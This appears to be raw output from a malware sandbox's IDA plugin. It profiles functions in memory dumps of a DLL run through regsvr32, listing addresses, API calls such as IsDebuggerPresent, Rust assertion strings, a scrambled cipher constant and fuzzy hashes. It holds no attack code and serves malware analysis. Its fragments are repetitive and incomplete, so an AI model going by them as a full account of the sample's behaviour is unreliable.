Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: 2-by$expa$expand 3$nd 32-by$te k2-by$te k2-byexpate knd 3$te knd 3expa
API String ID: 0-1772262818
Opcode ID: 1391a8e0975a9adc2b0a8bfe7d6b8fa79609e5bb0249d7250758481f8c467e98
Instruction ID: 7bd5b078ada9131d29cf46fe95bff84206cbbb035bd6f96314bc3281fa213f11
Opcode Fuzzy Hash: 1391a8e0975a9adc2b0a8bfe7d6b8fa79609e5bb0249d7250758481f8c467e98
Instruction Fuzzy Hash: E9E244B0D012288FDB64CFA9C984BCDFBF1BF88314F6581AAD409B7215D7706A968F54

Function 6C934E20 Relevance: 9.8, APIs: 5, Strings: 1, Instructions: 773COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C934EA1

Strings

assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 6C935777

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 2221118986-1476291318
Opcode ID: fdfebcdd1445896f6ffe852fbbeb34a0f480f87d7c030d5c9626ee6581ae59d3
Instruction ID: 95463f18fbc136902e29b89f8300fe75917613bfabed1e730f5973a0f382047d
Opcode Fuzzy Hash: fdfebcdd1445896f6ffe852fbbeb34a0f480f87d7c030d5c9626ee6581ae59d3
Instruction Fuzzy Hash: B4520471A0122A9FCB14CF58C880BFEB7B5FF9A314F555629E81AAB740D731E945CB80

Function 6C89DCB0 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 340COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C89DD0D

Strings

assertion failed: t.get().is_null(), xrefs: 6C89E08F
assertion failed: t.get().eq(&(self as *const _)), xrefs: 6C89E042
bdep, xrefs: 6C89DD46
cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs, xrefs: 6C89E031, 6C89E07E
bdep, xrefs: 6C89DD2A

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: assertion failed: t.get().eq(&(self as *const _))$assertion failed: t.get().is_null()$bdep$bdep$cannot access a Thread Local Storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs
API String ID: 2221118986-765718192
Opcode ID: e6681d3a80cb5f219b31076d762477da58540607ce93156e616fa04fd8d6f432
Instruction ID: 74ca3ecf78bc054ceda04b7e8512d62be263770a63bf3255148edfc41b83a2f9
Opcode Fuzzy Hash: e6681d3a80cb5f219b31076d762477da58540607ce93156e616fa04fd8d6f432
Instruction Fuzzy Hash: 24D1B276E002199BDB14CFA9C8417EFF7B2BF88314F1A853AD919AB740DB7599018BD0

Function 6C9279B0 Relevance: 8.1, APIs: 2, Strings: 3, Instructions: 642COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C928005
memset.MSVCRT ref: 6C928036

Strings

assertion failed: !buf.is_empty(), xrefs: 6C927ECE
assertion failed: d.mant > 0, xrefs: 6C927EAC
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C9279B3

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: +NaNinf00e00E0assertion failed: ndigits > 0$assertion failed: !buf.is_empty()$assertion failed: d.mant > 0
API String ID: 2221118986-682178742
Opcode ID: dd48bb415d4632f2a2502827cf95a01dc710e429810868cfbe6e14193c015ff1
Instruction ID: 27e8ade65bd75d9956f593a9494461de4bcdea6d245172489579eb845f8e864f
Opcode Fuzzy Hash: dd48bb415d4632f2a2502827cf95a01dc710e429810868cfbe6e14193c015ff1
Instruction Fuzzy Hash: 8132BF72F002198FCB04CE68C890BEEB7F6AF88354F198529E855B7794D634DD45CB90

Function 6C929151 Relevance: 7.6, Strings: 6, Instructions: 131COMMON

Download Yara Rule

Strings

{, xrefs: 6C92922C
}, xrefs: 6C929322
{, xrefs: 6C92932D
\u, xrefs: 6C929225
\u, xrefs: 6C929326
}, xrefs: 6C929221

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: d3da57ea7b703307df5c21655212a389eca8b0c384bd1c248ce89ad378a3acf4
Instruction ID: 89c63aca11fb62af0b7184bf3f3e09a1aad7d9982c9d6e2d43bcc5e97cdacc70
Opcode Fuzzy Hash: d3da57ea7b703307df5c21655212a389eca8b0c384bd1c248ce89ad378a3acf4
Instruction Fuzzy Hash: 2B511D23D1A7D689E7018BA9441019EFFB29FE6218F1F81AAC8D85F383C375C545C3A5

Function 04F9B637 Relevance: 7.6, Strings: 5, Instructions: 1357COMMON

Download Yara Rule

Strings

\=`=, xrefs: 04F9B6E8
<, xrefs: 04F9B681
h=l=, xrefs: 04F9B6ED
P=T=, xrefs: 04F9B6E2
D=H=, xrefs: 04F9B6DC

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <$D=H=$P=T=$\=`=$h=l=
API String ID: 0-2826345987
Opcode ID: e21aa3b85b6d1a0859432615a01f94d355bf6444aec7a6b552ce61a9105b859b
Instruction ID: 2283775e2d2f26bf4476e4e32568029bcb77b74c2336608899b985933b75e399
Opcode Fuzzy Hash: e21aa3b85b6d1a0859432615a01f94d355bf6444aec7a6b552ce61a9105b859b
Instruction Fuzzy Hash: D8B14331548B485FEF309F3C8848B9A7BE2EF4A310F940A6ED8C9C7156D621E8838757

Function 026369D5 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 02637A14
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02637A29
UnhandledExceptionFilter.KERNEL32(0264534C), ref: 02637A34
GetCurrentProcess.KERNEL32(C0000409), ref: 02637A50
TerminateProcess.KERNEL32(00000000), ref: 02637A57

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 5795cfcf731eb267cbb7516e44067802abd053699606f65c89a3a0d5fa7a0be5
Instruction ID: 06acafe16fcdc753245fec7c5dad4b123b78d3e40a81048a45c73b78f3dc3fe4
Opcode Fuzzy Hash: 5795cfcf731eb267cbb7516e44067802abd053699606f65c89a3a0d5fa7a0be5
Instruction Fuzzy Hash: EC21CFBCCC0204EFE782DFA8E16565C3BE5BB18315F50681AE58987340EB745EE08F04

Function 6C873410 Relevance: 6.5, APIs: 2, Strings: 2, Instructions: 477COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C873808

Strings

0, xrefs: 6C873514
0, xrefs: 6C87381F

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: 0$0
API String ID: 2221118986-203156872
Opcode ID: e155599360b7ac03e7c5c36e192813f0ab353054b0a11caf4c9772f179190a3e
Instruction ID: adc28452e3ca86197d5d4e15c3ad20f4119be3a63b3e4b3dcd7019854b554248
Opcode Fuzzy Hash: e155599360b7ac03e7c5c36e192813f0ab353054b0a11caf4c9772f179190a3e
Instruction Fuzzy Hash: 2A12E371E0071A8FDB25CF6CC5806ADB7B1BF8A304B148769C855AB752EB30D945CBA1

Function 6C85C720 Relevance: 6.3, APIs: 4, Instructions: 332COMMON

Download Yara Rule

APIs

CallNtPowerInformation.POWRPROF(0000000B,00000000,00000000,00000004,?), ref: 6C85C787
GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000000,00000000), ref: 6C85C86B
GetLogicalProcessorInformationEx.KERNEL32(0000FFFF,00000001,00000000,0000FFFF,00000000,00000000), ref: 6C85C8D7

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Information$LogicalProcessor$CallPower
String ID:
API String ID: 2272075218-0
Opcode ID: c11a9843093a79154b60546569a05dcce315b9a7cdc413f9b818210a1ac5747f
Instruction ID: 58eed8cee9df430899a601a17727eccaf521cc328fde396f44e976d025f40b8c
Opcode Fuzzy Hash: c11a9843093a79154b60546569a05dcce315b9a7cdc413f9b818210a1ac5747f
Instruction Fuzzy Hash: FFB106B1D012199BDB60DFA9CD40BEEB7B8AF49348F544839E804E7742E7B4D914CBA1

Function 6C880E80 Relevance: 5.9, Strings: 4, Instructions: 905COMMON

Download Yara Rule

Strings

call<searcher kind union>, xrefs: 6C8818ED
Prefilter<prefilter function>, xrefs: 6C8818D0
kind, xrefs: 6C881907
rarest_byterarest_offsetC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\memchr-2.7.4\src\memmem\mod.rs, xrefs: 6C881920

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: Prefilter<prefilter function>$call<searcher kind union>$kind$rarest_byterarest_offsetC:\Users\win10-x64\.cargo\registry\src\index.crates.io-1cd66030c949c28d\memchr-2.7.4\src\memmem\mod.rs
API String ID: 0-2748652549
Opcode ID: f944d95d57261db4c4a80b42ef33d182ce31cb01f0e6c77c3b514a4d0e0e3bf6
Instruction ID: d34419acf803bacf06c902ea13ff638a99887b2bcac963467aa659ddbf940137
Opcode Fuzzy Hash: f944d95d57261db4c4a80b42ef33d182ce31cb01f0e6c77c3b514a4d0e0e3bf6
Instruction Fuzzy Hash: FE728070E051198FCF24CF68C990AEEB7B2BF89314F154969E825A7B55DB34EC01CBA0

Function 6C871AF0 Relevance: 5.5, APIs: 4, Instructions: 484COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C871F46

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: b84cb84415bb1b340f45bf5947f8be72ad21f3524f5747e917c630d8e75c3227
Instruction ID: 6e25cf0f7e502c7feaecf5d858be16bcda32b351551784cb3bd2a5a8e5782b7c
Opcode Fuzzy Hash: b84cb84415bb1b340f45bf5947f8be72ad21f3524f5747e917c630d8e75c3227
Instruction Fuzzy Hash: 73121371E0464A8FDB24CF6CC9906ADB7B1FF99308F148768C859AB752EB30E585C760

Function 6C872D80 Relevance: 5.5, APIs: 4, Instructions: 480COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C872F1E

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 557ffad480fabf2ba31abcf2117e46a263404616c36a7dfa434019e2a7609e44
Instruction ID: b8eddc3488f65ebbfd1fab8ac588cce663dc05ac3b25b26a5b9fb060f8dbf506
Opcode Fuzzy Hash: 557ffad480fabf2ba31abcf2117e46a263404616c36a7dfa434019e2a7609e44
Instruction Fuzzy Hash: B3120331E04B498BDB25CF68C9417FCB7B1BFA9308F18976CD8596B253EB31A9818750

Function 6C92E330 Relevance: 5.5, Strings: 4, Instructions: 456COMMON

Download Yara Rule

Strings

eEe-E--+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C92E610, 6C92E955
.0., xrefs: 6C92E5C6, 6C92E90B
assertion failed: buf[0] > b'0', xrefs: 6C92E6C5, 6C92EA2E
assertion failed: !buf.is_empty(), xrefs: 6C92E6AD, 6C92E9F2

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: .0.$assertion failed: !buf.is_empty()$assertion failed: buf[0] > b'0'$eEe-E--+NaNinf00e00E0assertion failed: ndigits > 0
API String ID: 2221118986-3378266233
Opcode ID: be61bd4285345b31b2d5c42f6db9b35aa69f15d41dfb9f0c6c0ea94ae50f5f9a
Instruction ID: ca4b0e77093ad11a394da4760f457131354d743eaf08d5801f8f93d33b800b01
Opcode Fuzzy Hash: be61bd4285345b31b2d5c42f6db9b35aa69f15d41dfb9f0c6c0ea94ae50f5f9a
Instruction Fuzzy Hash: 6F02F3B2A193409BD310CF29C48179AB7E5FFC5348F04992EF5D88B795E7B9D8448B82

Function 6C873A40 Relevance: 5.0, APIs: 2, Strings: 1, Instructions: 459COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C873B0C

Strings

l)\%, xrefs: 6C873DDE, 6C873D23, 6C873F13, 6C873B14, 6C873B83, 6C873BAD, 6C873BFD, 6C874000

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: l)\%
API String ID: 2221118986-975318231
Opcode ID: ee1db8dffcb8be3e593ba2db21025bca21596ffd38e3a2bd5eaf96cd9053781f
Instruction ID: a3a19bf07ad663028602b4b7a1635e85a6c0af27010ed826701039134ce709d3
Opcode Fuzzy Hash: ee1db8dffcb8be3e593ba2db21025bca21596ffd38e3a2bd5eaf96cd9053781f
Instruction Fuzzy Hash: F51236319082958FCB25CF6CC4905ADFFB1AF56304B1DC699D8A96B396E330D905CBA1

Function 6C896830 Relevance: 4.1, APIs: 3, Instructions: 384COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000080), ref: 6C896918
memcpy.MSVCRT(00000080,00000080,00000080,00000080,6C97DC9C), ref: 6C896C3D
memcpy.MSVCRT(00000080,6C97DC8C,00000080,00000000,4388800C,00000080,6C97DC9C,4388800C,?,6C97DC8C,00000080,6C97DC9C), ref: 6C896D2A

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c146aeb6d9fd87962fddb87425ca3537c7ac0af67006e48181c70afd1299bce3
Instruction ID: d1198b0578dfeba7f2e55fcbf11c2ea67147c14b899a3fba04adc1aaf151293d
Opcode Fuzzy Hash: c146aeb6d9fd87962fddb87425ca3537c7ac0af67006e48181c70afd1299bce3
Instruction Fuzzy Hash: F6F1CA36D04B598BCB21CF68CC40BEEB7B5FF9A304F05465AE8487B642DB709985CB90

Function 6C8A9540 Relevance: 3.7, Strings: 2, Instructions: 1193COMMON

Download Yara Rule

Strings

nd 3expa, xrefs: 6C8A9894
te kexpate k2-byte kte k2-by2-bynd 3nd 3expa2-byexpand 3, xrefs: 6C8A9846

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID:
String ID: nd 3expa$te kexpate k2-byte kte k2-by2-bynd 3nd 3expa2-byexpand 3
API String ID: 0-2854347106
Opcode ID: fefa4fb2c76f4587aa34108c62916a1e4618eeeb307a88ff3978be32e249b1c5
Instruction ID: 905caa5b6ee3ef6935d9699a0a27fe7ee6070f1b79786ee1ba2f48d5366b5af2
Opcode Fuzzy Hash: fefa4fb2c76f4587aa34108c62916a1e4618eeeb307a88ff3978be32e249b1c5
Instruction Fuzzy Hash: 86E25AB0D012288FDB68CF99C984BDDFBB1BF88314F6581AAD409B7215D7346A86CF54

Function 6C86F450 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C86F4E9
RtlGetVersion.NTDLL ref: 6C86F502

Part of subcall function 6C85B650: PdhOpenQueryA.PDH(00000000,00000000,?,?,00000000,00000000), ref: 6C85B66A
Part of subcall function 6C85B650: PdhAddEnglishCounterA.PDH(00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?,?,00000000), ref: 6C85B688
Part of subcall function 6C85B650: PdhCloseQuery.PDH(00000000,00000000,00000005,00000000,00000000,00000000,00000000,LoadUpdateEvent,00000000,\System\Cpu Queue Length,00000000,00000000,00000000,00000000,?), ref: 6C85B694

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
